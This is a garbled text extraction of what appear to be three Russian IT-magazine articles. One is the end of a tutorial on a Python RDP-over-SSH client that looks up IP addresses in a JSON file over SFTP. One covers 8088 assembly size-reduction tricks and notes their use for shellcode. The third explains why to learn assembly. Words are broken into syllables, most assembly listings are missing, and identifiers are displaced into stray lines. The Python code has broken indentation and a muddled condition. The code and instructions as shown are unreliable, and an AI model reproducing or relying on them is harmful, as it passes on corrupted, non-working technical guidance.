про исхо дит воз врат и прог рамма оста нав лива ется. Под клю чает ся к сер веру
СУБД или к сер веру с фай лом JSON и переда ет вве ден ную фамилию в качес‐ 
тве парамет ра для поис ка IP‐адре са.

 def connectionstart(self):
           potok = threading.Thread (target=self.writelabelstatus, daemon=
True)
     potok.start ()
         from client import sshconnect
         sshconnect.login = self.ui.lineEdit.text ()
                 if sshconnect.login == '' or sshconnect.login is None:

          sshconnect.setstatus = "emptylogin"
       return
         sshconnect.password = self.ui.lineEdit_2.text ()
                 if sshconnect.password == '' or sshconnect.password is None:

          sshconnect.setstatus = "emptypassword"
       return
                   

           
     

if sshconnect.login != "emptylogin" or sshconnect.local is not
None and sshconnect.password != "emptypassword" or sshconnect.
password is not None:

            if sshconnect.setstatus == "ready":
           self.starttun()

Пол ный  файл  с  кодом  .  Фун кция    вызыва ет
в  отдель ном  потоке  фун кцию  .  Отдель ный  поток
исполь зует ся для исклю чения бло киров ки модуля форм.

дос тупен  по  ссыл ке starttun
sshconnect.connecttopc

Да лее обра тим ся к фай лу  . Оста новим ся толь ко на стро ках
с нас трой ками, пол ный текст кода дос тупен на  .

sshconnect.py
GitHub

        publicipadress = ('Public_IP', PORT) # Публичный IP‐адрес и порт 
SSH‐сервера

Это  перемен ная  пуб лично го  белого  адре са  и  пор та  SSH‐сер вера.  Порт
может  быть  откры тым  или  рас полагать ся  внут ри  локаль ной  сети  и  проб‐ 
расывать ся  через  фай рвол  (DNAT).  Обра ти  вни мание  на  фун кцию 

. Имен но она получа ет IP‐адрес из фай ла JSON.
ssh‐

tungetip
Файл JSON дос тупен на SFTP‐сер вере в дирек тории SFTP. При мер:

[
   {
       "User": {
           "login": "Логин 1",
           "FullName": "Логин1 Иван",
           "ipaddress": {
               "ip": [
                   "192.168.0.2"
               ]
           }
       }
   },
   {
       "User": {
           "login": "Логин2",
           "FullName": "Логин2 Степан Борисович",
           "ipaddress": {
               "ip": [
                   "192.168.0.3"
               ]
           }
       }
   },
   ...
]

Пос ле  переда чи  парамет ров  под клю чения  откры ваем  соеди нение,  под клю‐ 
чаем биб лиоте ку JSON, тран сфор миру ем файл в JSON‐объ ект:

   sftp = getipsftp.open_sftp()
     import json
       fip = None
           with sftp.file('ip‐client.json', 'r') as f:

          dataip = json.load(f)
   getipsftp.close()

Даль ше ищем в нем нуж ную информа цию по задан ному клю чу и воз вра щаем
адрес под клю чения в качес тве парамет ра.

     for x in dataip:
                    if login == x["User"]["login"] or login in x["User"][

"FullName"]:
              fip = x["User"]["ipaddress"]["ip"][0]

              fullname = x["User"]["login"]
                 if fip == "Не найдено" or fip is None:

          fip = "IP не найден"
   time.sleep(1)
   return(fip)

Те перь рас смот рим фун кцию  . Ука жем имя фай ла зак рытой час‐ 
ти клю ча (ключ будет лежать в одном катало ге с прог раммой).

sshtungetip

   pk = RSAKey.from_private_key_file('srv.key')

WARNING

Ключ   здесь при веден 
в  озна коми тель ных  целях.  Катего ричес ки
не  рекомен дую  его  исполь зовать,  ина че  любой
поль зователь  смо жет  под клю чить ся  к  сис теме,
в которой име ется такой ключ.

srv.key ис клю читель но

На  пос леднем  эта пе  в  отдель ном  потоке  вызыва ется фун кция 
, которая переда ет в сис тему управле ния учет ными дан ными Windows

вве ден ные  в  фор му  зна чения.  Помимо  ука зан ных  поль зовате лем  фамилии
и  пароля  (фамилия  исполь зует ся  в  качес тве  логина),  переда ется  адрес
домена  (если  тре бует ся),  адрес  сер вера  (localhost),  проб рошен ный  порт
(2222).  Пос ле  это го  фун кция  ини циирует  новый  про цесс  ,  которо му
переда ются парамет ры под клю чения и адре с сер вера.

rdpdatacon‐
nection

mstsc

subprocess.call("mstsc /v:localhost:2222")

Учет ные дан ные берут ся из сис темы управле ния учет ными дан ными Windows.
Через  некото рое  вре мя  вызыва ется  фун кция,  которая  уда ляет  дан ные  под‐ 
клю чения.

ИТОГ
Мы  получи ли  кли ент  RDP  over  SSH,  который  уста нав лива ет  тун нель  SSH
с проб росом пор та до целево го локаль ного ПК и под нима ет «штат ный» кли‐ 
ент  RDP  из  ком плек та  пос тавки  Windows.  От  поль зовате ля  тре бует ся
минималь ное количес тво дан ных: толь ко логин и пароль от его рабоче го ком‐ 
па. Вер сию для прод винутых поль зовате лей опи сывать деталь но смыс ла нет,
вся  раз ница  —  нет  фун кций  поис ка  IP  и  вве ден ные  дан ные  переда ются
в качес тве парамет ров под клю чения.

Ес ли  ключ  ском про мети рован,  мы  можем  заменить  его  новым  и  заново
раз дать  поль зовате лям.  Мож но  реали зовать  резер вное  под клю чение
по  логину  и  паролю  SFTP  для  получе ния  фай ла  клю ча  или  переда вать  его
через сис тему обновле ний. Прос тор для твор чес тва здесь огра ничен толь ко
силой тво его вооб ражения.
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КОДИНГ

Из  этой  статьи  ты  узна ешь  нес коль ко  трю ков,  которые
помогут  тебе  сок ращать  раз мер  ассем блер ных  прог рамм.
Попут но  оку нешь ся  в  нас тро ение  «Клу ба  модели рова ния
желез ной  дороги»  Мас сачусет ско го  тех нологи чес кого
инсти тута, где такие трю ки в свое вре мя ценились осо бен но
высоко.

Другие статьи курса

• За чем учить ассем блер в 2020 году
• Де лаем пер вые шаги в осво ении асма
• Ос ваиваем ариф метичес кие инс трук ции
• Как  работа ют  перемен ные,  режимы  адре сации,  инс трук ции  условно го
перехо да

• Учим ся работать с памятью
• Ра бота ем с боль шими чис лами и дела ем слож ные матема тичес кие вычис‐ 
ления

• Пи шем клон игры Flappy Bird, который умес тится в бут сектор
• Пи шем бей сик и уме щаем его в 512 байт

РЕЗЬБА ПО АССЕМБЛЕРНОМУ КОДУ
На деюсь,  ты  зна ешь  кни гу  Сти вена  Леви  «Хакеры:  герои  компь ютер ной
револю ции».  Если  нет,  обя затель но  проч ти!  Сей час  мы  с  тобой  понос таль‐ 
гиру ем  по  тем  слав ным  вре менам,  которые  опи сыва ет  Леви.  В  час тнос ти,
вспом ним,  чем  пионе ры  хакерс тва  занима лись  в  «Клу бе  модели рова ния
желез ной  дороги»  Мас сачусет ско го  тех нологи чес кого  инсти тута  и  как  они
кодили.

Ха керы  тех  вре мен,  кор пя  над  сво ими  прог рамма ми,  пытались  выжать
из ассем блер ных инс трук ций все, что толь ко воз можно, что бы в ито ге прог‐ 
рамма  ста ла  мак сималь но  ком пак тной.  Попыт ки  отре зать  часть  инс трук ций
от  компь ютер ной  прог раммы без  воз дей ствия  на  конеч ный  резуль тат  ста ли
для хакеров навяз чивой иде ей.

Иног да  такая резь ба по ассем блер ному  коду при нима ла сос тязатель ный
харак тер  —  сво еоб разное  сорев нование  мачо,  приз ванное  доказать  себе
и  дру гим,  что  совер шенс тву  нет  пре дела.  Ты  отре зал  две  инс трук ции
или  даже  одну?  Получи  бур ные  апло дис менты  брать ев  по  духу.  Ты  перес‐ 
мотрел  проб лему  с  нуля,  с  неожи дан ного  угла  зре ния  и  раз работал  новый
алго ритм,  который  сок ратил  прог рамму  на  целый  блок  команд?  Испы тай
катар сис и получи еще более бур ные апло дис менты!

Осо бое рве ние хакеры про явля ли к опти миза ции под прог раммы для печати
десятич ных  чисел.  За  нес коль ко  месяцев  они  изго тови ли  целую  кучу  вари‐ 
аций. С чего вдруг такой инте рес имен но к этой задаче?

С  того,  что  в  MIT  дей ство вало  нег ласное  пра вило:  «Если  ты  собс твен‐ 
норуч но  написал  под прог рамму  печати  десятич ных  чисел,  зна чит,  зна ешь
о  компь юте ре  дос таточ но,  что бы  называть  себя  в  некото ром  роде  прог‐ 
раммис том.  При чем,  если  у  тебя  ушло  на  эту  под прог рамму  око ло  сот ни
ассем блер ных  инс трук ций,  зна чит,  ты  бес прог лядный  глу пец,  хотя  и  прог‐ 
раммист.  А  если  написал  дей стви тель но  хорошую  и  корот кую  про цеду ру
мень шего раз мера, то можешь поп робовать называть себя хакером».

В конеч ном сче те, попере мен но уби рая инс трук ции то в одном, то в дру‐ 
гом мес те, хакеры допили ли про цеду ру печати десятич ных чисел до пятиде‐ 
сяти с неболь шим инс трук ций.

Даль ше  дело  при няло  серь езный обо рот. Поиск  луч шего  решения  прев‐ 
ратил ся в неч то боль шее, чем прос то сос тязание, — в поиск свя того Гра аля.
Одна ко, сколь ко бы сил ни было пот рачено, никому не уда валось пре одо леть
барь ер из пятиде сяти команд. И ког да прак тичес ки все уже сми рились с тем,
что  это  невоз можно,  один  из  хакеров  догадал ся  пос мотреть  на  решение
задачи  под  дру гим  углом.  В  ито ге  его  вер сия  под прог раммы  умес тилась
в 46 ассем блер ных инс трук ций.

До  это го  зна мена тель ного  часа  все  счи тали,  что  опти маль ный  алго ритм
для  под прог раммы  печати  десятич ных  чисел  —  это  пос ледова тель ное
вычита ние, при котором исполь зовались таб лицы сте пеней чис ла 10. Одна ко,
как ока залось, задачу мож но решить и без такой таб лицы. Леви, к сожале нию,
не при водит ассем блер ный код в сво ей кни ге, поэто му поз накомить ся с этим
шедев ром у нас не получит ся.

Но  не  спе ши  расс тра ивать ся.  Сей час  я  покажу  тебе  свою  вер сию  такой
под прог раммы. Она у меня умес тилась в 12 инс трук ций (и 23 бай та).

Ко му‐то может показать ся, что столь ко замора чивать ся ради того, что бы сок‐ 
ратить  раз мер прог раммы,  в  наши дни  уже  не  име ет  смыс ла. Одна ко  такой
навык очень при гож дает ся, ког да пишешь какой‐нибудь шелл‐код или редак‐ 
тиру ешь ском пилиро ван ный бинар ник. И в том и в дру гом слу чае нуж но уметь
обхо дить ся  как  мож но  мень шим  количес твом  ассем блер ных  инс трук ций.
И сей час я покажу нес коль ко  трю ков,  которые помогут  тебе сок ращать раз‐ 
мер сво их ассем блер ных прог рамм.

ЧИТАЕМ ДАННЫЕ ИЗ ПАМЯТИ ПО-НОВОМУ
Во всех пре дыду щих уро ках мы читали память, ссы лаясь на нуж ную нам ячей‐ 
ку через регистр  . При мер но вот так.BX

Но то же самое мож но сде лать и вот так.

Инс трук ция    говорит  про цес сору  8088:  «Заг рузи  байт  из  адре са,
на который ука зыва ет  , и сох рани этот байт в регистр  . И затем уве‐ 
личь   на еди ницу (если флаг нап равле ния сбро шен в 0)».

lodsb
DS:SI AL

SI
Еще  у  8088  есть  инс трук ция  ,  которая  работа ет  поч ти  как  ,

толь ко  заг ружа ет  из    сло во  (сдво енный  байт),  сох раня ет  резуль тат
в регистр   и уве личи вает   на 2.

lodsw lodsb
DS:SI

AX SI

КОПИРУЕМ ДАННЫЕ, НЕ ИСПОЛЬЗУЯ ЦИКЛЫ
Зная  о  сущес тво вании  инс трук ций  /   и  их  про тиво полож ностей

/ ,  мы  можем  написать  под прог рамму  для  копиро вания  области
памяти.

lodsb lodsw
stosb stows

Этот  внут ренний  цикл  занима ет  все го  четыре  бай та.  Но  у  про цес‐ 
сора 8088 есть инс трук ции   и  , которые дела ют ту же самую опе‐ 
рацию, но при этом не исполь зуют регистр   или  .

movsb movsw
AL AX

Те перь внут ренний цикл занима ет три бай та. Но и это не пре дел! Мы можем
сде лать все то же самое без инс трук ции  .loop

Об рати вни мание, что   — это две инс трук ции в одной:   и  .
И ана логич но в   ском биниро ваны   и  . При этом  /
не исполь зуют регис тры  / , что весь ма при ятно.

movsb lodsb stosb
movsw lodsw stosw movsb movsw

AL AX

СРАВНИВАЕМ СТРОКИ, НЕ ИСПОЛЬЗУЯ ЦИКЛЫ
У 8088 есть  инс трук ции  для  срав нения  строк  ( )  и  инс трук ция  для  срав‐ 
нения регис тра   или   с содер жимым памяти ( ).

cmps
AX AL scas

Эти  инс трук ции  выс тавля ют  фла ги  в  регис тре  фла гов,  так  что  пос ле  их
выпол нения мож но исполь зовать условные перехо ды.

Инс трук ция   выпол няет срав нение двух байт — того, на который ука‐ 
зыва ет  , и того, на который ука зыва ет  , — и пос ле это го уве личи‐ 
вает оба индек сных регис тра на еди ницу:  ,   (или умень шает на еди ницу,
если флаг нап равле ния уста нов лен в еди ницу).

cmpsb
DS:SI ES:DI

SI DI

Инс трук ция   дела ет то же самое, но толь ко не с бай тами, а со сло‐ 
вами (сдво енны ми бай тами) и умень шает или уве личи вает индек сные регис‐ 
тры не на 1, а на 2.

cmpsw

Об рати вни мание, что и та и дру гая инс трук ция не поль зует ся регис тра ми
 и  , то есть наш самый ходовой регистр оста ется нет ронутым. Это очень

хорошо.
AL AX

Инс трук ция    срав нива ет    с  бай том,  на  который  ука зыва ет  ,
затем  уве личи вает    на  еди ницу  (или  умень шает,  если  флаг  нап равле ния
уста нов лен в еди ницу).

scasb AL ES:DI
DI

Инс трук ция   дела ет то же самое, но толь ко с регис тром   и умень‐ 
шает или уве личи вает индек сные регис тры не на 1, а на 2.

scasw AX

Пе ред эти ми четырь мя инс трук циями мож но ста вить пре фикс  / ,
что  зна чит  «про дол жать  выпол нять  дан ную  инс трук цию  до  тех  пор,  пока
не будет  выпол нено  усло вие  завер шения»  (E  зна чит equal,  рав но, NE — not
equal, не рав но).

repe repne

МЕНЯЕМ МЕСТАМИ ЗНАЧЕНИЯ ДВУХ РЕГИСТРОВ
До пус тим,  в  регис тре    записа на  чет верка,  а  в    семер ка.  Как  поменять
мес тами зна чения регис тров?

AX DX

Вот пер вое, что при ходит на ум.

Та кой  код  занима ет  четыре  бай та.  Неп лохо,  но,  может  быть,  есть  вари ант
покоро че?  Еще  на  ум  при ходит  что‐то  вро де  такого,  со  вспо мога тель ным
регис тром.

Но такой код занима ет даже еще боль ше памяти — шесть байт. Раз мышляя
даль ше,  мы  можем  задей ство вать  хит рый  трюк  с  исклю чающим  ИЛИ,
без вспо мога тель ного регис тра.

Но толь ко этот вари ант кода занима ет столь ко же бай тов, сколь ко пре дыду‐ 
щий вари ант. Так что выг лядит он, конеч но, изящ но, но осо бых пре иму ществ
не дает.

А  теперь  вни мание!  У  про цес сора  8088  есть  спе циаль ная  инс трук ция,
которая  как  раз  и  пред назна чена для обме на регис тров. Обра ти  вни мание,
ког да один из двух ее опе ран дов — это регистр  , она занима ет один байт,
в про тив ном слу чае — два бай та.

AX

ВЫПОЛНЯЕМ ВОСЬМИБИТНЫЕ ОПЕРАЦИИ ЭКОНОМНО
Ес ли  выпол няешь  нес коль ко  вось мибит ных  опе раций  с  кон стан тами,  луч ше
исполь зуй  регистр  .  Боль шинс тво  ариф метичес ких  и  логичес ких  инс трук‐ 
ций (в том вари анте, ког да один опе ранд — это регистр, а дру гой — это кон‐ 
стан та) получа ются короче, если ты исполь зуешь регистр  . Нап ример, 

 занима ет два бай та, тог да как   занима ет три бай та.
И само собой, чем боль ше инс трук ций в тво ей цепоч ке пре обра зова ний, тем
боль ше бай тов ты сэконо мишь.

AL

AL add 
al, 0x10 add bl, 0x10

С  16‐бит ными  регис тра ми  такая  же  исто рия:  с  регис тром    ариф‐ 
метичес кие и логичес кие инс трук ции получа ются короче. Нап ример: 

 (три бай та),   (четыре бай та).

AX
add ax,

0x1010 add bx, 0x1010
Од нако, ког да в логичес кой или ариф метичес кой инс трук ции один из опе‐ 

ран дов — это корот кая кон стан та в диапа зоне –128..127, то инс трук ция опти‐ 
мизи рует ся до трех байт.

ЗНАКОМИМСЯ С ДВОИЧНО-ДЕСЯТИЧНЫМ КОДОМ
Ког да  тебе  позарез  надо  работать  имен но  с  десятич ными  чис лами,  а  не
с  шес тнад цатерич ными,  но  при  этом  не  хочет ся  делать  слож ные  пре обра‐ 
зова ния меж ду дву мя сис темами счис ления, исполь зуй дво ично‐десятич ный
код. Что это за код? Как в нем записы вают ся чис ла? Смот ри. Допус тим, у тебя
есть  десятич ное  чис ло  .  В  дво ично‐десятич ном  коде  оно  выг лядит
как  . Уло вил смысл?

2389
0x2389
Для  работы  с  дво ично‐десятич ным  кодом  в  про цес соре  8088  пре дус‐ 

мотре ны  инс трук ции    и  .  Инс трук ция    исполь зует ся  пос ле  ,
а инс трук ция   — пос ле  .

daa das daa add
das sub

Нап ример, если в регис тре   записа но   и ты добавишь   к это му
зна чению, то там ока жет ся  . Но ког да ты выпол нишь инс трук цию  , она
скор ректи рует   до зна чения  .

AL 0x09 0x01
0x0a daa

AL 0x10

УМНОЖАЕМ И ДЕЛИМ НА 10 ЭКОНОМНО
У  про цес сора  8088  есть  две  любопыт ные  инс трук ции:  / .  Изна чаль но
они задумы вались для того, что бы рас паковы вать двух цифер ные десятич ные
чис ла из   (0–9) и   (0–9). Обе инс трук ции занима ют по два бай та.

AAD AAM

AH AL
Инс трук ция   выпол няет вот такую опе рацию:AAD

   AL = AH*10+AL
   AH = 0

А вот что выпол няет инс трук ция  :AAM

   AH = AL/10
   AL = AL%10

Эти  две  инс трук ции  поз воля ют  сбе речь  дра гоцен ные  бай ты,  ког да  тебе
надо 8‐бит ное чис ло умно жить или поделить на 10.

ЕЩЕ НЕСКОЛЬКО ПОЛЕЗНЫХ ТРЮКОВ
  Если  тебе  надо  сбро сить

в 0 какой‐то 16‐бит ный регистр, то короче все го это сде лать так (на при мере
регис тра  ).

Ини циали зируй  чис ла  при  помощи  XOR.

DX

 Вез де, где это воз можно, пиши   вмес‐ 
то  . А где это воз можно? Там, где ты уве рен, что   не вый дет за пре‐ 
делы  255.  То  же  самое  с  дек ремен том.  Если  ты  уве рен,  что    никог да
не будет мень ше нуля, луч ше пиши  , а не  . Так ты сэконо мишь
один байт.

Ин кре мен тируй  , а не  .AL AX inc al
inc ax AL

AL
dec al dec ax

 Если тебе надо ско пиро вать   в какой‐то дру‐ 
гой регистр, то пиши вот так:  . Инс трук ция   занима ет все го
один байт, тог да как   — два.

Пе реме щай   через  .AX XCHG AX
xchg ax, reg xchg

mov reg, ax
 Так  ты сэконо мишь один

байт.
Вмес то   исполь зуй  .cmp ax, 0 test ax, ax

 Ког да пишешь под прог‐ 
рамму, которая дол жна воз вра щать толь ко зна чения   и  , поль зуйся
регис тром фла гов. Для это го внут ри под прог раммы при меняй инс трук ции 
и  ,  что бы  сбра сывать  и  уста нав ливать  флаг  перено са.  И  потом  пос ле
выпол нения под прог раммы исполь зуй   и   — для обра бот ки резуль тата
фун кции. Ина че при дет ся пот ратить кучу бай тов на инс трук ции прис ваива ния
вро де   и   и на инс трук ции срав нения вро де 
,  ,   или  .

Воз вра щай резуль тат через регистр фла гов.

True False
clc

sec
jc jnc

mov al, 0 mov al, 1 test al, 
al and al, al or al, al cmp al, al

ВЫВОДЫ
Ну  вот,  теперь  ты  зна ешь  нес коль ко  трю ков,  которые  помогут  тебе  делать
свои  ассем блер ные  прог раммы  более  ком пак тны ми.  Этот  урок  был  пос‐ 
ледним из нашего ввод ного кур са «Пог ружение в ассем блер». Если ты при‐ 
леж но  вчи тывал ся  во  все  пре дыду щие  статьи  и  собс твен норуч но  щупал
ассем блер ные  прог раммы  из  них,  можешь  счи тать,  что  твое  зна комс тво
с ассем бле ром прош ло успешно. Но само собой, что бы осво ить ассем блер,
недос таточ но  прос то  про читать  нес коль ко  ста тей  и  перепе чатать  из  них
с десяток чужих прог рамм. Здесь, как и в любом дру гом деле, нуж на пос тоян‐ 
ная прак тика и обще ние с еди номыш ленни ками.

Ес ли  же  ты  хочешь  еще  нем ного матери ала,  что бы  углу бить  и  зак репить
зна ния, можешь вер нуть ся к моим более ран ним стать ям — « », где
мы пишем мини атюр ную игру, и « », где я показы ваю, как соз дать свой
интер пре татор  бей сика  на  ассем бле ре.  Поэк спе римен тируй  с  эти ми  прог‐ 
рамма ми, и ты сде лаешь еще один боль шой шаг в сто рону осво ения ассем‐ 
бле ра.

Floppy Bird
Мик роБ
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КОДИНГ

Ты решил осво ить ассем блер, но перед этим хочешь понять,
что тебе это даст как прог раммис ту? Сто ит ли вхо дить в мир
прог рамми рова ния  через  ассем блер,  или  луч ше  начать
с какого‐нибудь язы ка высоко го уров ня? И вооб ще, нуж но ли
знать  ассем блер,  что бы  стать  пол ноцен ным  прог раммис‐ 
том? Давай раз берем ся во всем этом по поряд ку.

Погружение в ассемблер
Это ввод ная статья цик ла «Пог ружение в ассем блер», которую мы пуб лику ем
в  честь  его  завер шения.  Ее  пол ный  текст  дос тупен без  под писки. Про читав
ее, ты можешь перехо дить к дру гим стать ям это го кур са:
• Де лаем пер вые шаги в осво ении асма
• Ос ваиваем ариф метичес кие инс трук ции
• Как  работа ют  перемен ные,  режимы  адре сации,  инс трук ции  условно го
перехо да

• Учим ся работать с памятью
• Ра бота ем с боль шими чис лами и дела ем слож ные матема тичес кие вычис‐ 
ления

• Сок раща ем раз мер прог раммы

РАДИ ЧЕГО СТОИТ ИЗУЧАТЬ АССЕМБЛЕР?
Сто ит осво ить ассем блер, если ты хочешь:

ра зоб рать ся,  как  работа ют  компь ютер ные  прог раммы.  Разоб рать ся
в деталях, на всех уров нях, вплоть до машин ного кода;

•

раз рабаты вать  прог раммы  для  мик роско пичес ких  встра иваемых  сис тем.
Нап ример, для 4‐бит ных мик рокон трол леров;

•

по нять, что находит ся под капотом у язы ков высоко го уров ня;•
соз дать  свой  собс твен ный  ком пилятор,  опти миза тор,  сре ду  исполне ния
JIT, вир туаль ную машину или что‐то в этом роде;

•

ло мать, отла живать или защищать компь ютер ные сис темы на самом низ‐ 
ком уров не. Мно гие изъ яны безопас ности про явля ются толь ко на уров не
машин ного кода и могут быть устра нены толь ко с это го уров ня.

•

Не сто ит  осва ивать  ассем блер,  если  ты  хочешь  уско рить дру гие  свои прог‐ 
раммы.  Сов ремен ные  опти мизи рующие  ком пилято ры  справ ляют ся  с  этой
задачей очень хорошо. Ты вряд ли смо жешь обог нать их.

КТО ВЫДАСТ ЛУЧШИЙ АССЕМБЛЕРНЫЙ КОД?
По чему обог нать ком пилятор прак тичес ки невоз можно? Смот ри, для тебя же
оче вид но, что компь ютер в шах маты не обыг рать, даже если ты игра ешь луч‐ 
ше, чем соз датель шах матной прог раммы? С опти мизи рующи ми ком пилято‐ 
рами  та  же  исто рия.  Толь ко  опти мизи рующий  ком пилятор  игра ет  не  шах‐ 
матны ми фигура ми, а кон текс тны ми обсто ятель ства ми.

В сов ремен ных про цес сорах прак тичес ки нич то из того, что вли яет на про‐ 
изво дитель ность, нель зя обсуждать в отры ве от кон тек ста. Одна и та же ком‐ 
бинация из десят ка ассем блер ных инс трук ций выпол няет ся с рез кими отли‐ 
чиями по ско рос ти (в тысячи или даже мил лионы раз), в зависи мос ти от целой
кучи самых раз нооб разных обсто ятель ств.

Те дан ные, к которым ты сей час обра щаешь ся, заг ружены в кеш или нет?
А сама ком бинация ассем блер ных инс трук ций?

•

Ес ли ни дан ные, ни код не раз мещены в кеше, то не перетас кива ет ли их
про цес сор  туда  вти хомол ку,  пред полагая,  что  к  ним  будут  обра щать ся
в бли жай шее вре мя?

•

Ка кие инс трук ции были выпол нены непос редс твен но перед нашим десят‐ 
ком? Они сей час все еще на кон вей ере?

•

Мы  слу чаем  не  дос тигли  кон ца  текущей  стра ницы  вир туаль ной  памяти?
А то, не дай бог, доб рая полови на нашего десят ка попадет на новую стра‐ 
ницу,  которая  к  тому же  сей час,  по  закону  под лости,  вытес нена  на  диск.
Но если нам повез ло и новая стра ница таки в физичес кой памяти, можем
ли мы доб рать ся до нее через TLB‐буфер? Или нам при дет ся про дирать ся
к ней через пол ный адрес, исполь зуя таб лицы стра ниц? И все ли нуж ные
нам  таб лицы  стра ниц  заг ружены  в  физичес кую  память?  Или  какие‐то
из них вытес нены на диск?

•

Ка кой имен но про цес сор выпол няет код? Дешевень кий i3 или мощ ный i7?
Быва ет, что у дешевых про цес соров тот же набор инс трук ций, что и у мощ‐ 
ных,  но  прод винутые  инс трук ции  выпол няют ся  в  нес коль ко  шагов,  а  не
за один.

•

И все это толь ко вер хушка айсбер га, малая часть того, что тебе при дет ся учи‐ 
тывать и ана лизи ровать, ког да будешь ста рать ся пере играть ком пилятор.

Есть  такой  миф,  что  прог раммы,  написан ные  на  ассем бле ре,  работа ют
в  десять  раз  быс трее. Этот миф  ухо дит  кор нями  в  семиде сятые  годы.  Ком‐ 
пилято ры  в  те  далекие  вре мена  генери рова ли  код  нас толь ко  без дарно,  что
у каж дого ува жающе го себя прог раммис та был чер ный спи сок зап рещен ных
язы ковых конс трук ций.

Ког да  наши  кол леги  из  прош лого  писали  прог раммы,  они  либо  дер жали
в уме этот чер ный спи сок и не давали сво им паль цам набивать проб лемные
конс трук ции,  либо  нас тра ива ли  спе циаль ный  преп роцес сор,  который  кон‐ 
верти ровал  исходник  в  более  низ коуров невое  бес проб лемное  пред став‐ 
ление  на  том  же  язы ке.  С  тех  пор  минуло  50  лет.  Ком пилято ры  воз мужали,
но миф остался.

Ко неч но, даже сегод ня мож но изредка встре тить уни кума, который пишет
более быс трый код, чем ком пилятор. Вот толь ко вре мени у него на это ухо дит
так мно го, что ни в какие ворота не лезет. Плюс для опти миза ции от тебя тре‐ 
бует ся, что бы ты назубок знал весь набор инс трук ций про цес сора.

Вдо бавок, пос коль ку ты шли фуешь свой код вруч ную, никакой ком пилятор
не подс тра хует тебя, не поможет отло вить баги, которые ты неиз бежно пло‐ 
дишь, ког да пишешь прог рамму.

Кро ме того, твой ассем блер ный код будет непере носи мым. То есть, если
ты захочешь, что бы твоя прог рамма запус калась на дру гом типе про цес сора,
тебе  при дет ся  пол ностью  перепи сать  ее,  что бы  соз дать  модифи кацию,
заточен ную  под  набор  инс трук ций  это го  дру гого  про цес сора.  Само  собой,
тебе эти инс трук ции тоже надо знать назубок.

В ито ге ты пот ратишь в десят ки и сот ни раз боль ше вре мени, чем если бы
доверил ся  опти мизи рующе му  ком пилято ру,  —  но  резуль тат,  ско рее  все го,
ока жет ся мед леннее, а не быс трее.

При  этом  иног да  опти мизи рующий  ком пилятор  вып левыва ет  ассем блер‐ 
ный  код,  логика  которо го  ну  сов сем  непонят на. Одна ко  не  спе ши  обви нять
ком пилятор в глу пос ти. Давай раз берем при мер.

Ког да  ты  пишешь  на  С  что‐то  вро де  ,  то  естес твен ным
обра зом  ожи даешь  уви деть  в  ассем бле ре  инс трук цию,  которая  умно жает
перемен ную   на двой ку. Но ком пилятор зна ет, что сло жение дешев ле умно‐ 
жения. Поэто му он не умно жает   на двой ку, а скла дыва ет ее с самой собой.

x  =  a*2  +  b*3

a
a

Боль ше того, гля дя на  , ком пилятор может счесть, что   пред‐ 
почти тель нее, чем  . Иног да трой ное сло жение быс трее умно жения, иног‐ 
да  нет.  А  иног да  ком пилятор  при ходит  к  выводу,  что  вмес то  исходно го
выраже ния быс трее будет вычис лить  . Или даже 

.

b b + b + b
b*3

(a + b)*2 + b ((a + b)<<
1) + b

А если   исполь зует ся лишь однократ но — при чем в связ ке с парой строк
пос леду юще го кода, — ком пилятор может вооб ще не вычис лять  ,  а прос то
вста вить   вмес то икса. Но даже если   исполь зует ся и ком пилятор
видит что‐то вро де  , он может испра вить эти рас четы на 
,  удив ляясь  тво ей  рас точитель нос ти.  Рас точитель нос ти  в  пла не  вычис‐ 
литель ной слож ности.

x
x

a*2 + b*3 x
y = x – b*3 y = a +

a

Раз мышле ния  подоб ного  рода  неиз бежно  заводят  тебя  в  запутан ный
лабиринт аль тер натив ных вари антов. Все их нуж но прос читать, что бы выб рать
луч ший. Но даже ког да  ты сде лаешь это,  вари ант ассем блер ного  кода, сге‐ 
нери рован ный  ком пилято ром,  ско рее  все го,  будет  работать  быс трее,  чем
твой.

Кста ти, если исполь зуешь GCC или Clang, акти вируй опции опти миза ции
для SSE, AVX и все го осталь ного, чем богат твой про цес сор. Затем откинь ся
на спин ку крес ла и уди вись, ког да ком пилятор век торизу ет твой сиш ный код.
При чем сде лает это так, как тебе и не сни лось.

КАКИЕ ПРОГРАММЫ НЕЛЬЗЯ НАПИСАТЬ НА АССЕМБЛЕРЕ?
Нет таких. Все, что мож но сде лать на компь юте ре, мож но сде лать в том чис ле
и на ассем бле ре. Ассем блер — это тек сто вое пред став ление сырого машин‐ 
ного кода, в который перево дят ся все прог раммы, запущен ные на компь юте‐ 
ре.

Ты  при  желании  можешь  написать  на  ассем бле ре  даже  веб‐сайт.
В  девянос тые  С  был  впол не  разум ным  выбором  для  этой  цели.  Исполь зуя
такую  вещь,  как CGI  BIN,  веб‐сер вер мог  вызывать  прог рамму,  написан ную
на С. Через   сайт получал зап рос, а через   отправ лял резуль тат
в бра узер. Ты можешь лег ко реали зовать тот же прин цип на ассем бле ре.

stdin stdout

Но зачем? Ты дол жен быть мазохис том, что бы про делы вать такое. Потому
что  ког да  ты  пишешь  на  ассем бле ре,  то  стал кива ешь ся  вот  с  такими  проб‐ 
лемами.

У  тебя  более  низ кая  про дук тивность,  чем  если  бы  ты  работал  на  язы ке
высоко го уров ня.

•

У тво его кода нет никакой струк туры, поэто му дру гим раз работ чикам будет
труд но читать его.

•

Те бе при дет ся писать мно го букв. А там, где боль ше букв, боль ше потен‐ 
циаль ных багов.

•

С  Secure  Coding  здесь  все  очень  печаль но.  На  ассем бле ре  писать  так,
что бы код был безопас ным, слож нее все го. На С в этом пла не ты чувс тву‐ 
ешь себя куда более ком фор тно.

•

Да,  все мож но  написать  на  ассем бле ре.  Но  сегод ня  это  нецеле сооб разно.
Луч ше  пиши  на  С.  Ско рее  все го,  будет  безопас нее,  быс трее  и  более
лаконич но.

От редакции
Ав тор статьи — боль шой пок лонник С и нас тоятель но рекомен дует этот язык.
Мы не будем лишать его такой воз можнос ти. С — отличная шту ка и помога ет
как  осво ить  основные  кон цепции  прог рамми рова ния,  так  и  про чувс тво вать
прин ципы  работы  компь юте ра.  Одна ко  при  выборе  язы ка  для  изу чения  ты
можешь руководс тво вать ся самыми раз ными сооб ражени ями. Нап ример:

На до  учить  Python  или  Lua,  что бы  момен таль но  получать  резуль таты.
Это мотиви рует!

•

На до  учить Scheme или Haskell  из  тех же сооб ражений,  что в шко ле  учат
алгебру, а не, к при меру, авто меха нику.

•

На до учить Go для того же, для чего C, но в 2020 году.•
На до учить JavaScript и React.js, что бы как мож но быс трее най ти работу.•
